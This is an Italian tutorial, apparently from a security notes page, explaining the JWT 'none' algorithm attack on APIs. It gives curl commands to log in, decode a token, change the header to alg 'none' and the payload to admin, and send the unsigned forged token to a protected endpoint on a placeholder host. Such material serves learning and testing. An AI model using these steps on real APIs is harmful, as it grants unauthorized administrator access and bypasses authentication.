tags: None_Attack JWT_Hacking API_Hacking


Questo tipo di attacco si esegue provando a trogliere la secret key dal token JWT e vedere se accetta il cambiamento da user ad admin, se lo accetta possiamo elevare i nostri privilegi in modo molto semplice.

Per prima cosa, autenticati all’API con un utente normale e ottieni un token JWT:

curl -X POST -d "username=user&password=pass" https://api.target.com/login

Ora analizziamo il JWT per capire cosa contiene. Puoi farlo su jwt.io o con jq in Linux:

echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY" | cut -d "." -f2 | base64 -d | jq

Risultato (payload del token):

{
  "username": "user",
  "admin": 0
}

Vediamo che “admin” è impostato a 0, quindi siamo un utente normale.

Modificare il JWT per il None Attack

Ora modifichiamo l’header del JWT per usare “none” al posto di “HS256”.

{
  "typ": "JWT",
  "alg": "HS256"
}

Modifica per None Attack:

{
  "typ": "JWT",
  "alg": "none"
}

Poi modifichiamo il payload per diventare admin:

{
  "username": "admin",
  "admin": 1
}

Ora codifichiamo questo header e questo payload in base64 tramite CyberChef o altro, li colleghiamo tramite un punto e li mandiamo al server in questo modo:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOjF9." https://api.target.com/protected-endpoint

Come puoi vedere dal secondo punto in poi non c’è quello che ci dovrebbe essere ovvero la secret key.